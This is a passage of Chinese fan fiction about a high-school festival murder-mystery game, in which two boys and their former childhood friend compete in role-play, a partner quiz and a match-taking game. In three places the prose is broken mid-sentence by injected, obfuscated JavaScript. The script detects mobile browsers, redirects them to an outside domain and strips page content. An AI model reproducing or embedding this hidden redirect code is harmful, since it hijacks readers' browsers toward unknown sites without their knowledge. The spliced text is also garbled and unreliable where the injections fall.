面前是穿上制服的新生诸伏小同学。 “我果然是在做梦。”有里揉了揉眼睛又重新睁开,发现这人离自己又更近了一点。 “近大远小……近实远虚……近宽远窄。” 诸伏景光默了默,“你一天天都在想什么?” “透视三原则啊,”有里理所当然的回答,半晌又好像明白了什么,“你不会不知道吧!” 诸伏景光决定不跟这个病号计较。 “那么问题来了,如何找视平线呢?” 诸伏景光已经开始怀疑这人是不是把脑袋烧坏了。 “应该是两个小数点的中间吧,”有里说完自己点了点头,“我可真聪明。” 真该给她录下来…… 这人好像每次生病都要开发一些新属性? 他扶了扶额,感觉有些头疼,转身找医生老师进来检查。 这次病床上的人就乖了很多,甚至礼貌地和老师问好道谢。 最后八木老师告诉她再观察半个小时,控制在38℃以下就可以回去休息了。 诸伏景光一度以为自己产生了幻觉? “你怎么在这?”有里似乎这才想起来关键的问题。 好像可以正常沟通了,诸伏景光松了一口气。 “发现体育课有人翘课,”诸伏景光双手交叉摆在胸前,“常年不运动的下场。” 面前的人和小时候在小学操场上抱臂看着自己累死累活的身影高度重合,竟然触发了有里不愿回忆的“童年阴影”。 于是诸伏景光惊悚地看见眼前的人先是眼眶开始泛红,然后一颗……两颗……眼泪就那么掉了下来。 偏偏还抹两下抬头看他一眼,就怪可怜的…… 才怪! 诸伏景光镇定的样子一下被打乱,慌乱地从旁边抽了卫生纸递给她。 他担心一会八木老师前来看见这副景象,自己可真是解释不了了。 很快,诸伏景光发现自己的担心是多余的, 这人哭起来也没什么声音,好像只有这个小隔间里能听见细小的啜泣声。 拜托,这是只针对自己的攻击吗! “对不起对不起对不起,”诸伏景光半坐在床边,双手捧着纸巾,要多虔诚有多虔诚,“我以后不提了,你别哭了。” “哦,”有里的情绪来的快走的也快,可能人生病的时候会格外脆弱,具体表现为一点点不开心的事情都容易让人破防。 现在缓过来了她又有点尴尬,自己又不是真的降智了,“不是你的问题……对不起。” 她刚刚一定吓到小朋友了吧。 事实证明诸伏小同学在某些时候特别喜欢追根问底,“那是怎么了,可以和我说说吗。” “你别这样……”语气这么温柔,也很容易让人再次破防啊。 “怎么又要哭了……”诸伏景光发现自己已经熟稔到对方一个语气就能知道她的情绪,于是先退了一步,“我不问了。” 有里从来不知道自己的情感能这么丰富,他太温柔会让人沉迷,不自觉地想要依靠……现在离开又很让人难过。 于是为了掩饰自己内心这点小九九,有里在下一滴眼泪掉下来的时候,指向了刚刚拉开帘子出现在这里的降谷零。 11. 角色扮演 “因为他!” “什么东西?”虽然不知道这两人刚刚在聊什么,但降谷零直觉不是什么好事。 “啊……?”诸伏景光的眼神在两人之间来回打转,自己幼驯染的性格他向来是很清楚的,虽然不太会主动和女生相处,更也不能够做出什么欺负女生的事情了吧。 那么病床上这位……虽然自己小时候没少被她向自己父母告黑状,但也总归是好友间心知肚明的玩闹。 是了! 诸伏景光猛地一抬头,抓住了事情的真相。 “我就知道你们俩能成为好朋友。” 有里这样一定也是因为把zero当成朋友,所以在开玩笑吧。 “哈?”这是降谷零。 “啊?”这是有里。 诸伏景光站起来把降谷零拉到他俩中间,“别介意,她跟朋友熟悉了之后就是会经常开玩笑的性格,不过zero的冷笑话或许也符合她的幽默点呢。” 降谷零侧目和病床上同样大脑宕机的女生对视了一眼,默契地移开了视线…… 诸伏景光自觉自己最为共友应该在这种关系中当好【桥梁】的角色,让两人快速熟悉。 “还没正式介绍一下。” “zero,他是我在东京交到的第一个也是最好的朋友。” “有里,我们是从小学就认识的朋友,就是我总给你说特别聪明的那个。” 他随意地靠在自己幼驯染的肩膀上。 有里微微抿了一下嘴,很快调整过来状态,和同样微笑的降谷零同学点了点头。 “早就听说过学姐的名字,”降谷零完全一副新生崇拜的样子,“跳级还能保持年级第一的位置,好厉害呀,不过学姐也是要注意身体呢!” 如果没有昨天他的那句【脑子挺好,体力不行】的话…… “降谷同学才是,听景光说经常活跃于各种运动,对了,昨天的伤好些了吗?” 如果没有昨天hiro帮忙转达的那句【聪明友善的学姐对脑子不错同学的奖励。】 这人绝对是在用自己之前的话阴阳他? 诸伏景光看不见两人的表情,但听起来还不错,都知道互相关心了呢。 好在这种被迫社交的场面没有持续太久。 沙纪小咲带着好友的书包插入画面,伴随着一声没控制住的尖叫。 有点丢脸…… “怎么了吗?”八木老师听见里面的动静询问。 “没事!”沙纪小咲很快反应过来探出脑袋。 在场的都是人精般的人物,况且两个池面多少对别人的关注心里还是有点数的。 二人对视一眼,自觉先行离开。 “有里你可以啊,这么快就已经拿下这两个帅哥了吗!”亏自己下课就马上赶来,是不是坏了朋友的好事? “咳……”尽管知道沙纪小咲的性格向来洒脱,但这话还是让有里呛了一下。 “你想太多了,只是恰好和其中一位小时候认识。”有里慢悠悠地开口。 “这样啊……”沙纪小咲的八卦之心明显别浇灭,语气里满是遗憾。 “不然还能怎样,”有里失笑,“收收你的小脑瓜吧!” “好吧,”沙纪小咲向来保持对这种人【只可远观不可亵渎】的状态,“果然很养眼呢,话剧社八成会想拉着两人入伙。” 有里思灼了一下,以降谷零的性格,让他含情脉脉地在台上深情告白…… 她出了一身冷汗,“我觉得难。” 客观来讲,她不觉得降谷零和诸伏景光是可以因为别人的威逼利诱做出决定的人,如果他们真的加入什么社团——那一定是因为自己想这样做。 “不过听说今年学园祭他们邀请了工藤有希子来!真是下了血本呢。”沙纪小咲的消息一向灵通,“话剧社真是为了吸引新生不择手段!” “我看你好像也被吸引了,”有里看破也说破,“果然美女的吸引力更大啊!” 沙纪小咲坦然承认,她可是有希子的忠诚影迷! “她在高中时代被称为“帝丹公主”,在19岁时就凭借出色的演绎技术赢得了演艺界的各大奖项,不过在20岁时,就从演艺界隐退并和工藤优作先生结婚,现在很少能看见她了呢” 这事有里倒是第一次听说,多大的缘分才能让这几个人来到东京都选择了帝丹高中。 “咱们学校的杰出校友真是太多了。” 学园祭当天。 【欢迎各位玩家进入游戏现场,请抽取自己在本场游戏中的身份卡,查看个人人设,确认自己身份。】 【若认为自己是凶手请做好隐蔽工作,若认为自己是好人请在最终环节指认凶手。】 【请警惕身边的人。】 “哇,这里布景做得好逼真,该说不愧是二年级的前辈们吗?”中原千奈今年第一次参加帝丹高中的学园祭,前辈们都已经卷到这个程度了吗! 沙纪小咲很满意新生们的反应,不愧是全班耗时几周的成果,心里雀跃的同时不忘维持自己的学姐人设,“所以第一波参加的人肯定是有福了,我们进去吧!” “诶,学姐也参与游戏吗?”降谷零把自己的身份卡收好,和诸伏景光一起往里面走。 “实际上真正的结局我们也不太清楚呢,毕竟策划组那边是有里负责。”当然也是因为自己拒绝了有里的剧透,这么好的机会肯定不能放过。 “有里策划的吗?”诸伏景光一开始有些意外,很快又觉得放在她那边很合理,“看来故事会很有趣呢。” 听到好友被夸,这一点沙纪小咲深表赞同,“毕竟那么聪明的大脑就应该多多利用才对!” 毕竟是在学校布局,几间教室通行的地方被简易地采用黑色的幕布隔断,拉开最后一道帘子,众人就进入了第一个地点,平日里摆满桌椅的教室现在被整理了一番后完全笼罩在黑暗中,倒是无端有些渗人。 “这怎么有种鬼屋的风格.....”西园勇太搓了搓手臂,他胆子不大但是听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424119|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是外守有里主要参与的项目,犹豫半天还是参加了,毕竟两人见面机会少得可怜,再不主动可能就没什么机会了。 这里面就沙纪小咲对西园勇太的想法有些猜测,不过平时在棒球部耀眼的前辈,好像到了这里变得一般了呢...... 难道是里面灯光不好? 不能够啊,沙纪小咲观察旁边的降谷零和诸伏景光,可能是因为对比太惨烈? “你们来了。”扮演警官的NPC同学二阶堂亚美向他们微微颔首,“感谢各位的配合,作为前几次案件的发现者,这次来还是希望各位或许可以发现一些细节,帮助我们一起找出真凶。” “当然在此之前希望各位可以进行简短的自我介绍。” “各位好,我是诸伏景光,25周岁,是地下乐队的贝斯手......”男生向前一步。 “什么乐队的贝斯手,”降谷零冷哼一声,毫不客气地打断他的话,“不过是几个没名气的人恰好聚在了一起,跟着几个混子能搞什么音乐。” “降谷君,”沙纪小咲推了推不存在的镜片,上前一步隔开了闹得不佳的二人,“不要在外面说这样的话。” 二阶堂亚美松了一口气,他们最担心的就是玩家没办法很好地带入角色,那么剧情的推动和游玩性就会大大降低。 幸好这三位开了个好头,很贴合人设。 有了这点缓冲时间,西园勇太和中原千奈也理解到了关键点,配合着带入剧情。 “看来降谷先生和诸伏先生在解散后关系不佳的传言是真的,”西园勇太抱着手臂站在一旁煽风点火,“明天又可以写新的头条喽!” “这位先生,请谨言慎行。”作为降谷零的执行经纪人,沙纪小咲真是为了自家艺人操碎了心。 “这里面......应该是有什么误会吧。”中原千奈小声开口,“我从出道就是降谷君的粉丝,这么多年的感情不可能说淡就淡的。” 可惜,这句话没得到降谷零的回复,倒是诸伏景光投来一个安抚的目光。 降谷君!你再这样我就要爬墙了! “咳咳......大家真是情绪高涨,”二阶堂亚美打断了这场不愉快的相识,“还是回归正题吧。” 她带领各位进入第二个场景。 虽然之前气氛多少有在烘托,但刚刚众人一番开场却让大家短暂地从前面紧绷的情绪中抽离,以至于在看到第二场景的三具尸体的时候,体验感一下拉满。 沙纪小咲倒吸了一口冷气,不过相比起尖叫出声的西园勇太和中原千奈,她觉得自己的反应还算能接受。 不过这两位池面是真的一点反应都不给啊! 实际上第二现场是这样的局面,降谷零和诸伏景光早有预感——人物介绍之后当然就该进入案情,不过对方显然没有给出什么纸质版的案件资料的意思。 那么如何了解案情就完全明显了。 不过三个死者这样的设置确实还是玩得很大,二人面色都认真了几分。 12. 第二场景 二阶堂亚美的手机铃声来得很及时。 “抱歉,医院那边对于受害者有新的进展需要我过去一趟,各位稍等片刻。” “您先忙。”沙纪小咲对于和同学对戏这件事情显得十分自然——作为有希子的影迷,她绝对不能看到熟人演戏就憋不出笑! 于是死死地掐着自己的大腿防止露馅。 好在今天原定作为NPC的同学都做足了心理准备,就知道会有自己的好友过来参与,倒是没有表现得太场外。 于是两个熟人友好地客套有推辞,相互道歉后离去。 不是,她在这里社交,沙纪小咲摇头——这群人怎么就直接开始“验尸”了啊! 每具“尸体”旁边都放着受害人的姓名牌,不得不说除了道具组的出色,“化妆师”的能力也相当突出。 “死者目前看起来致命伤都在头部。”降谷零观察了现场的三具尸体得出结论。 “是的,”诸伏景光刚刚也检查了死者的身上,没有发现其他明显的伤痕。 “天哪……凶手也太残忍了。”饶是知道这些都是虚假的演绎,中原千奈还是很难接受良好。 “不,凶手恰恰是没有那么‘残忍’。”降谷零提出了不同的声音。 “哦?看来我们的大明星很能和凶手共情呢。”西园勇太倒是很代入人设,摆出一副什么都要和降谷零唱反调的样子。 当然了,沙纪小咲倒是隐约察觉出了一些这是不满被抢了风头的意思。 戏里作为“温吞老好人”人设的诸伏景光站出来圆场,“我想降谷的意思是如果是因为头部受到击打致死,一般要考虑脑部损伤出血的症状。” “严重的患者就算是因为昏迷,一般也是在48小时内出事。”诸伏景光这话说得还算委婉。 沙纪小咲顺着二人的话思考:“如果死者是被击打后还有意识,只是在七天的危险期内产生头晕呕吐的症状后死亡,行人可能也不会察觉并多管。结合我们是第一发现人的身份,死者一定是被凶手在这里打到昏迷……” “听起来,似乎还挺难控制力度的?”中原千奈不确定地提出了问题,希望大佬们不会介意。 “确实,既然都打算动手了,要是我的话肯定要选择一击致命的手法,不理解凶手这样做的意义是什么。”西园勇太设身处地地思考,“这样凶手行凶的时间长短就不太确定了,会增加被人看到的可能性。” “所以凶手一定有必须这样做的理由啊……”沙纪小咲摸着下巴,有里一定有这样设计的理由啊…… “比如为了制造不在场证明?”诸伏景光在本子上记录,“方便各位回忆一下自己作为发现者的那场事件的具体时间吗?” “啊?”西园勇太质疑了一声,显然是不理解不配合。 诸伏景光没对对方的行为作出回应,像是忽视了这人,自顾自地往下说: “我是第一位死者七海如真的发现人,当时时间是晚上八点左右,大约在两周前,因为我们结束了表演所以印象很深。” 虽然不确定这是不是一个重要的线索,但诸伏景光在自己几百字的人设背景里注意到了时间线,又在这里死者名称做了对应,记录一下总没坏处。 “我是第二位死者的发现人,名字记不太清了,但我明确记得是一位女性,”中原千奈回忆着资料,这里的受害人只有一位是女性,所以应该是和自己对应,“那么发现白雪惠子女士的时间是在晚上十点,因为降谷君的签售会恰好在附近,所以印象很深,在一周前。” 诸伏景光把目光掠过西园勇太,看向剩下两位。 沙纪小咲觉得要收回对对方“老实人”的评价,这位同学看起来不显山不露水的,倒是可以无形让人吃瘪呢。 “我们是今天发现的第四名死者,”降谷零将目光再次从姓名牌上掠过,“这里的人既然都没有叫做山科加奈的,看来我和沙纪经纪人对应的就是警官刚刚提到的医院里的那位了。” 沙纪小咲对自己的记忆力实际上没有那么笃定,但事实是确实大差不差,“是的,我也是今天发现的死者,随后和降谷君叫了救护车和警察。” 这样一来,时间线上倒是明了了。 诸伏景光合笔,“那么第三位死者羽山的案发时间介于最近一周之内。” “这能推断出什么?”西园勇太质疑。他深觉是因为自己的时间不像其他人一样,是按周这样好记的日期才会印象模糊。 “凶手作案的频率越来越高了。”降谷零和诸伏景光瞬间共脑。 “对哦,”中原千奈努力跟上两人的思路,“从一周一次,到现在一周内三次,犯人显然提高了犯案率。” “因为熟练程度提高了?”沙纪小咲猜测,“在案件顺利完成并且没有被警方抓住的情况下,凶手稍微放松了些,于是在选定目标和动作上也更加果断了。” 诸伏景光点头,“这是一个合理的猜测,我们去下一个阶段吧。” 他发现引路的那位警官方才离开的地方被人拉开了一个缺口,缝隙中透出一点白光。 在刚刚说话的等待时间里也并没有人从里面出来,看来是邀请他们过去的意思。 众人在第三个场景外停住,里面是一间明亮办公室,两个人正面对面坐着谈话——好像有点眼熟。 “今天的人?”扮演警官的二阶堂亚美的声音从里面传来。 对面坐着的人,身着一身白大褂,因为对面坐着二阶堂亚美,外面的人并不能很好地看见她的模样。 有里为了看起来贴合人设,今天特意戴了金丝眼镜,把头发在脑后挽了个发髻,果然这样才有“成熟稳重”的感觉。 好吧,起码她是这样认为的。 “我们尽力了,”有里叹了口气,“剩下的事情处理起来患者家属那边还很难接受,但毕竟事先本人已经同意了,不过还是希望你们尽快处理。” 二阶堂亚美默了默,“能理解这样的心态,辛苦你们了,这件事情同样重要,24小时之内我们尽量完成采样。” 谈话戛然而止,大多数人都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424120|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里过于含糊的对话搞得一头雾水。 二阶堂亚美起身离开了,这下漏出刚刚被挡着的人。 和刚才的表现不同,西园勇太在发现有里的一刹那就露出了他一贯的“金牌笑容”,要不是被降谷零拦住甚至忍不住冲上去要打招呼。 这也太OOC了...... 降谷零和诸伏景光对视,谁知道放任这人进去会不会错失什么关键剧情。 事实上为了增加活动体验和趣味性,他们当然考虑到在一般游戏过程中会有不善于观察和推理的玩家,为了适应大部分人的游戏体验,自然也要涉及一些互动性强的关卡。 比如这一关,要想从医生这里拿到之前几位死者的报告,需要解锁隐藏关卡。 “打扰了,我们找外守医生。”诸伏景光率先走了进去,不得不说这里还是有点熟人的好处——毕竟知道了对方的称呼,接下来的话也更好继续。 “我就是,”有里这才露出一副发现有人来了的样子,“你们有什么事情吗?” “关于这次的连环袭击案件,我们这里还有一些事情需要您配合呢。”诸伏景光这句话接得自然,话术里的确实引导了自己的身份。 “二阶堂警官刚刚离开,”有里换了个姿势稍微坐正了些,“虽然我不介意配合警方,但各位这样不间断地到来多少会让人有些困扰呢。” “实在是不好意思,”诸伏景光抱歉地说,发觉和小伙伴对戏似乎也很有意思? “但毕竟是相当严重的刑事案件,警视厅都希望早日破案,所以出动了几个侦查小组。” 有里侧目,发现诸伏小同学在“骗人”这方面有点张口就来的天赋,再加上这人过于迷惑性的长相,为什么现在不自然的反而是自己啊!!! 她不太自然地咳了一声移开视线,“听说警视厅的警官一般都是两人一组进行活动,各位应该对自己的同伴都十分了解吧,我们来做个游戏怎么样?” “怎么说?” 有里站起来退到一边,这一局就是别的小伙伴负责了。 【各位玩家好,游戏要求两人一组参加挑战,本轮为默契问答环节,双方各自在纸上回答我们提前预设的与自己有关的问题,五个问题回答正确四个即挑战成功,获得一份报告。】 他们考虑到进行游戏的学生大多会选择和小伙伴一起,这个挑战不算困难。 有里安静地坐在旁边的椅子上看戏——幼驯染的默契值她真的很好奇啊。 “游戏每人只可以参加一次吗?”降谷零很敏锐地提出了问题。 负责游戏的川上同学顿了一下,“每个游戏每人只能参与一次。” 有里扶额,果然这两位心眼子颇多,一句话同时确认了游戏的数量和参与要求。 “那我们先开始吧,”诸伏景光和降谷零没有犹豫地报名,两个人本来就是好友,这些年又几乎是一起看着对方长大的关系......好像这样说有哪里怪怪的。 不过怎么说这个游戏难度对于他们不算困难吧。 13. 默契问答 两人分别在纸上确认了自己问题的答案后开始答题。 【第一题:对对方的称呼。】 “hiro.” “zero.” 这简直是送分题啊。 【第二题:对方的拿手料理?】 “炖牛肉吧。”这是降谷零的回答,“主要是hiro的料理都太美味了,只能写下他第一次请我品尝的食物呢。” “完全不在行呢。” 这一点降谷零没法反驳,“hiro真是过于直率了......” “抱歉,”诸伏景光憋着笑,“毕竟zero对料理是完全没兴趣呢。” 虽然彼此吐槽了一下,但是竟然都答对了。 “两位真是十分了解彼此的朋友啊!”沙纪小咲感叹,这种问题也并不算十分的送分题。 【第三题:和对方发生冲突,是靠拳头解决,还是靠话语解决?】 “怎么可能会动手啊!”降谷零震惊,他看起来像是用拳头说话的人吗? “当然是好好沟通。”诸伏景光很认真地回答。 【第四题:对方希望从事的职业?】 “警察。” “警察。” 两个人回答得都很笃定,到这里其实已经完成挑战了。 “恭喜两位,那么最后一题算是我的私心问题呢,没有标准答案,不过愿意回答就算对哦,”川上同学很诚实地说,“两位最想对对方说的一句话是什么呢?” “哦~”沙纪小咲刚刚蠢蠢欲动的情绪终于按捺不住,露出了自己的本质属性。 好在当事人并没有太在意。 诸伏景光想了想,像是无奈地说:“希望可以少受点伤吧。” “诶,hiro已经对帮我处理伤口这件事困扰了吗?”降谷零握住胸口,露出一副心痛的样子。 “怎么会,”明明知道这是自己的幼驯染在故意表演,诸伏景光还是配合着说,“少让我担心点吧。” “真是太让人感动了!”川上同学接着发问,“那么这边的同学呢?” 降谷零现在倒是认真起来,“希望hiro有什么烦恼的事情可以说出来,我们一起解决呢。” 诸伏景光眼神闪了闪,没有开口,或者说没想好怎么开口...... 降谷零本身也没有想要听到自己的幼驯染什么回答,毕竟诸伏景光向来就是不愿意麻烦别人的性格。 虽然总是在关心着别人,不过自己的状态也会被人担心啊。 到现在哪怕他们关系再好,也总是会把事情藏在心里,尽管大多数时候自己都能发觉——然后“严刑逼供”出来罢了。 “这是两份档案袋。”有里随便抽了两张递过去,按人头进行的游戏,剩下两张资料拿到手好像就没有那么轻松了呢。 察觉出来事情进展不顺的当然不止她,降谷零和诸伏景光一起把视线转移到剩下的三人身上。 三人竟然都不算熟人,西园勇太动机不纯暂且不提,唯一有联系的沙纪小咲和中原千奈似乎也只是前后辈认识的关系。 就算提前作弊记住答案获胜的概率也不高啊。 “我再确认一下,游戏要求两人一组参加就可以吗?”诸伏景光提问。 “是的。”川上同学重复了一遍赛制,“那么接下来是哪两位参加呢?” “我觉得,沙纪前辈和外守前辈可以试一试呢。”诸伏景光向一旁吃瓜吃得很开心的有里,浅浅地笑了笑。 不是,这也太离谱了吧!!!! 降谷零的话快她一步,“我们刚刚可是确认了两个人参加就好哦,既然这样,外守前辈不会不属于这个范畴吧。” 好哦——外守前辈不属于这个范畴——外守前辈不会不属于“两个人”中的人吧。 纯纯文字游戏啊。 作为今天同阵营的玩家沙纪小咲也很上道地接话:“对啊,反正本来就是游戏环节嘛,让你们总导演参与一下不是也挺好!” “大家都参与进来才是真的开心!” 这一个两个的是要闹哪样啊。 川上同学在诡异地一句句说服中逐渐觉得十分有道理,“有里,我觉得行。” 不是,有没有人在意这个当事人的意见? “对了,其实我们之前设置这个问题的时候也安排同学们互相体验过,我记得有里当时的回答应该在这里就有备份,这不正好方便了。” 于是当事人最后一点话语权也被剥夺——这个游戏好像和她有关,但细看只能说完全无关啊! 沙纪小咲凭借出色的social能力和摸鱼打岔能力,屡屡擦边得分。 【有里最喜欢的食物?】 “信州荞麦面。”这个很简单。 【有里的理想学府?】 “当然是东都大学了。” 毕竟是这里top1的大学,想都不用想啊。 【有里最讨厌的食物?】 “严格来说没有完全抗拒的东西呢,硬要说的话应该是鱼肉之类的,毕竟这位对于挑鱼刺这方面相当不在行。” 您真懂我...... 【有里对喜欢的人会主动出击or等待接触?】 等等,她有回答这样的问题吗? 这明显是同学们企图从沙纪小咲这里探求一点过剩的好奇心吧? “虽然我不觉得她会轻易喜欢上人,”沙纪小咲从容地隔绝了西园勇太向自己好友投来的炙热视线,毕竟今天游戏表现上来说这位前辈真是很难让人再有好感,“我觉得她要不然就主动出击,要不然就一辈子不说吧?” “你简直是古希腊掌管混子学说的神......”有里小声吐槽,说了跟没说一个样,倒是把那边的川上同学骗得头头是道。 ——“果然是这样呢,沙纪同学真的很了解她啊。” 有里沉默了……不过倒也没有当场反驳,在这里谈论与自己有关的情感问题确实还是太超前了。 有里忍痛再次上交一份报告,现在只差一个名额了。 降谷零这才不慌不忙地开口,“既然游戏不止一个,想必也有什么游戏不一定限制为默契问答这样类型的吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424121|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啊,那你之前为什么不说?”中原千奈还在苦恼最后一个该怎么办呢,毕竟不是所有人都和“主办方”的人员认识啊。 “他一定是认为这个游戏比接下来的游戏更简单,如果直接放弃刚刚的一次机会,也不能够保证百分百取得游戏胜利。”被刚刚聚众攻击的有里毫不犹豫地揭穿了降谷零的坏心思。 “诶,可是刚刚提出那个想法的可是hiro呢,”降谷零坦然承认,“我们只是一起试验一下。” 诸伏景光同学......好吧,有里发现自己对于同样的行为但是不同的人包容性是不一样的。 诸伏景光小朋友现在变得如此有心眼子,一定是因为这几年跟着降谷零同学学坏了。 绝对不是因为天生的腹黑属性加重了! 好吧,这话没什么说服力,但自我欺骗还是到位的。 “下面的游戏不限参与人数,但只有一轮游戏体验机会,”有里回到自己一开始的座位上,“规则中要求完成顺序是你们那边任一同学进行一次操作后,我这边也进行一次操作,以此类推。具体谁上场、多少人上场是你们可以自行决定谁来参加。” “类似于车轮战的赛制?”中原千奈点头,“这样看起来不是很困难吧。” “听起来是五打一很不利的局面,但是对手是你!”沙纪小咲一脸完蛋了的表情看见自己的小天才好友坐到应战区,“智力类游戏?” “一点点,”有里思考了一下,“我觉得主要看运气和观察能力。” 川上同学在一旁嘴巴张卡又合上,默默提醒:“之前测试玩这个游戏她就从来没输过。” 沙纪小咲一拍桌子,“那你们怎么能放任这家伙过来坐镇,玩家的游戏体验怎么办!!!” “没有那么夸张,”有里深觉不能让这个大漏勺继续下去,要是被那两位猜到了游戏内容就很危险啊。 “决定好了吗?”这次是她一脸笑容地释放善意。 “我不参加。”沙纪小咲知道平时和面前这位相处,她脑子转得有多快,还是不要自取其辱了。 “好吧......”有里遗憾地说,“那那边呢,只有一次机会哦。” “有一个问题,”诸伏景光开口,“如果我们一个人赢了,只是获得一份资料,如果是四个人参加赢了呢,总不能也只是一份资料吧。” 诸伏同学你变了,现在怎么这么贪。 “看来很自信自己能赢啊,”有里做出苦恼的样子,“赢了的玩家最后不论是否锁凶成功,都能获得我们的获胜小礼品怎么样。” 川上同学看了任性的总导演一眼——算了,由她来吧。 “诶,那我也要参加!” 这话一出,刚刚还在犹豫的中原千奈立刻报名——虽然不知道自己会不会拖后腿,但通常来讲人越多机会也会越多,好像是这样的道理。 西园勇太当然不会放弃这次互动机会。 诸伏景光和降谷零自然也不可能剥夺别人的游戏体验。 于是最后决定参加的就是诸伏景光、降谷零、中原千奈、西园勇太四个人。 14. 压轴游戏 川上同学拿出一个透明的袋子,讲解游戏规则: 【一会随机从里面拿出一把火柴,每次轮流取走1—3根,规定谁取走最后一根火柴即为胜利。】 【当然了,你们四人取火柴的先后顺序可以自行商议。】 “这就是你说的只用一点点智力!”沙纪小咲扶额,听起来已经在头痛了。 “别这样,这个游戏运气真的很重要,”有里观察那边的降谷零和诸伏景光,“这不是还有两位智慧的大脑在准备吗?” 降谷零扯出一个笑容:“怪不得希望我们越多人参加越好,这场游戏对于我们这边看起来更是不利了呢。” 有里挑眉,“没办法啊,这是出于对强敌的重视。” 诸伏景光回忆她们刚刚的对话,总觉得她打断的时间点有点突兀:“这个游戏是不是本身不是由你坐阵作为应战方啊。” 现在场面已定,有里笑眯眯地回答:“谁知道呢,全看运气。” 川上同学心中在咆哮:“其实是这位总导演看到这一波玩家之后临时动用‘权利’自己替换掉了医生这个角色啊。” 这不明摆着加难度! 还没搞懂题目,中原千奈已经在焦虑了,“所以我们应该怎么做?” “在不知道火柴数目的情况下排顺序似乎没有太多必要,”诸伏景光想了想,“我和zero分开在第二位和第四位吧。” “可以。” 这倒也没有什么有异议的。 “其实本质就是寻找制胜点的游戏,”诸伏景光很快理清思路,自然承担了解释的工作,“每次取走1—3根,那么一个周期就是4,如果火柴根数是4的倍数,无论第一个人开始拿几根,第二个人只要和前一个人合拿4根,则后手必胜。” “如果火柴根数不是4的倍数,第一个人开始拿,使得剩下的火柴变成4的倍数,则第一个人只要和第二个人合拿4根,则先手必胜。” 降谷零补充:“所以问题的关键在于我们不知道火柴数量,估计不会是一个一眼能数出来的数量,这样一旦轮到己方制胜点的轮次就很容易算错或者忽视。” “所以果然还是1V1好啊,”中原千奈默默开口,果然漂亮学姐的话不能信。 “没关系,这确实是一个看运气的游戏,说不定我们能发现制胜点,接下来就正常操作就行。”诸伏景光安慰道。 况且诸伏景光深以为整场游戏难度的设置不应该过高,这个游戏的难度已经超出了之前游戏的水平——所以通过拿到线索的人不会很多。 说不准这个压轴小游戏所给出的提示也并不能很直观地让他们判断谁是凶手。 而且按照有里的性格,保不齐他们最后打算一个人上场,她又会提出更刁钻的获胜方式。 有里感受到了诸伏景光略显哀怨的视线,“确实,如果是你俩上场,我会增加规则,每人可以在游戏过程中有三次机会,随时改变拿走最后一根火柴的人赢还是输。” 这计算量完全就不是一个量级了啊! 沙纪小咲震惊地看着这位小变态:“亲你这样玩我们会被投诉的,你还记得这只是一个简单的学园祭娱乐活动吗?” “所以这不是只是当初的预设嘛,”当事人毫不悔改,“你们先吧。” 虽然规则众人都清楚了,但显然还是都精神紧绷,西园勇太可能也是为了留个好印象,这次表现得十分正经。 为了显示出公平公正,由川上同学和沙纪小咲一人从袋子里拿出一把火柴。 “这也太多了......”中原千奈小声嘀咕,“少说有一百根吧。” “毕竟要让每个人都有参与感,”有里在西园勇太之后取了火柴,现在还有心思说闲话,“要是太少万一轮不到后面的同学怎么办?” “学姐该你了。”降谷零同样速度很快地经过自己的轮次,眼睛一直盯着那堆火柴。 形状大小完全一样又没有特殊标记的情况下,确实不容易。 有里手下不停,嘴上也不停,和这局另一位女生友好聊天:“毕竟这样八个轮次下来你们那边才全部过一遍,所以上百的数量也不算过分吧。” 中原千奈发现在进行到诸伏景光之后火柴数量还是没有明显减少,显然第一局大家都很谨慎,不对,是自己和西园前辈很谨慎,都是选择只拿一根,剩下几个人真的是每次到自己的回合都三根拿满啊。 “我感觉我的眼睛已经开始模糊了。” “那要休息一下吗?”有里笑眯眯地问,取走了一根火柴。 “啊?”知道这位学姐的脑袋很聪明,中原千奈眼睛紧紧盯着桌面的火柴堆,“不用了。” 随即照旧取了一根。 “那好吧,不会进入高中确实学业方面压力会更大呢,但也因此要特别注意眼睛的保护。” “嗯,谢谢学姐。” 所谓当局者迷旁观者清,一旁的沙纪小咲已经发现事情有些不对劲了,妹妹你没发现这位一开始都是三根三根取,现在变成拿一根很奇怪吗!!! “没关系,”局势逆转,她心情很好。 “承让了。”虽然不算一帆风顺,但拿下胜利还是值得庆祝的事情。 “果然是在中原千奈那一局发现的吗?”沙纪小咲提问。 “其实不是,”有里摇头,这一局实在是凶险,“在第一个大轮次结束的时候,恰好当时的数目是105,而西园前辈又恰好习惯拿走一根火柴,在那里其实我已经陷入了死局。” 